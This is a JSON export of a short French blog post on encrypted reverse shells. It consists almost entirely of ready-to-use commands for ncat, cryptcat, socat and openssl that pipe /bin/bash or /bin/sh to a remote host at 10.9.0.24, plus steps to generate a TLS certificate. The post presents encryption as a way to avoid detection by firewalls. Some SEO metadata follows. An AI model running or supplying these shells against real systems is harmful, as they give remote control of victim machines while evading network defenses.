{"id":696,"date":"2021-07-29T09:15:58","date_gmt":"2021-07-29T14:15:58","guid":{"rendered":"https:\/\/www.searchevolution.com\/security\/?p=696"},"modified":"2022-04-27T07:45:35","modified_gmt":"2022-04-27T12:45:35","slug":"reverse-shell-encrypte","status":"publish","type":"post","link":"https:\/\/www.searchevolution.com\/security\/2021\/07\/29\/reverse-shell-encrypte\/","title":{"rendered":"Reverse shell encrypt\u00e9"},"content":{"rendered":"<p>Netcat (nc) ne supporte l&#8217;encryption et cela permet d&#8217;\u00eatre d\u00e9tect\u00e9 facilement (firewall intelligent). Voici donc quelques fa\u00e7ons d&#8217;am\u00e9liorer la confidentialit\u00e9 des communications<\/p>\n<p><strong>ncat<\/strong><br \/>\n<pre><code>apt install ncat\nncat -l 443 --ssl -v\nncat 10.9.0.24 --ssl -e \/bin\/bash -v\n<\/code><\/pre><\/p>\n<p><strong>cryptcat<\/strong><br \/>\n<pre><code>\ncryptcat -lvp 4444 -k mysecretkey\nrm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2&gt;&amp;1|cryptcat 10.9.0.24 4444 -k mysecretkey &gt;\/tmp\/f\n<\/code><\/pre><\/p>\n<p><strong>socat<\/strong><br \/>\n<pre><code>openssl req -newkey rsa:2048 -nodes -keyout r0cker.key -x509 -days 1000 -subj &#039;\/CN=www.r0cker.local\/O=Best Tech.\/C=CA&#039; -out r0cker.crt\ncat r0cker.key r0cker.crt &gt; r0cker.pem\nsocat -d -d OPENSSL-LISTEN:4443,cert=r0cker.pem,verify=0,fork STDOUT\nsocat OPENSSL:10.9.0.24:4443,verify=0 EXEC:\/bin\/bash<\/code><\/pre><\/p>\n<p><strong>openssl reverse shell<\/strong><br \/>\n<pre><code>openssl s_server -quiet -key r0cker.pem -cert r0cker.pem -port 5555 #voir la section socat pour la cr\u00e9ation d&#039;un certificat\nrm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2&gt;&amp;1|openssl s_client -quiet -connect 10.9.0.24:5555 &gt;\/tmp\/f<\/code><\/pre><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Netcat (nc) ne supporte l&#8217;encryption et cela permet d&#8217;\u00eatre d\u00e9tect\u00e9 facilement (firewall intelligent). Voici donc quelques fa\u00e7ons d&#8217;am\u00e9liorer la confidentialit\u00e9 des communications ncat apt install ncat ncat -l 443 &#8211;ssl -v ncat 10.9.0.24 &#8211;ssl -e \/bin\/bash -v cryptcat cryptcat -lvp 4444 -k mysecretkey rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2&gt;&amp;1|cryptcat 10.9.0.24 4444 -k mysecretkey &gt;\/tmp\/f socat openssl req -newkey rsa:2048 -nodes -keyout r0cker.key -x509 -days 1000 -subj &#039;\/CN=www.r0cker.local\/O=Best Tech.\/C=CA&#039; -out r0cker.crt cat r0cker.key r0cker.crt &gt; r0cker.pem socat -d -d OPENSSL-LISTEN:4443,cert=r0cker.pem,verify=0,fork STDOUT socat OPENSSL:10.9.0.24:4443,verify=0 EXEC:\/bin\/bash openssl reverse shell openssl s_server -quiet -key r0cker.pem -cert r0cker.pem -port 5555 #voir la section socat pour <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[21],"tags":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v20.4 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Reverse shell encrypt\u00e9 - S\u00e9curiser votre site<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.searchevolution.com\/security\/2021\/07\/29\/reverse-shell-encrypte\/\" \/>\n<meta property=\"og:locale\" content=\"fr_CA\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Reverse shell encrypt\u00e9 - S\u00e9curiser votre site\" \/>\n<meta property=\"og:description\" content=\"Netcat (nc) ne supporte l&#8217;encryption et cela permet d&#8217;\u00eatre d\u00e9tect\u00e9 facilement (firewall intelligent). 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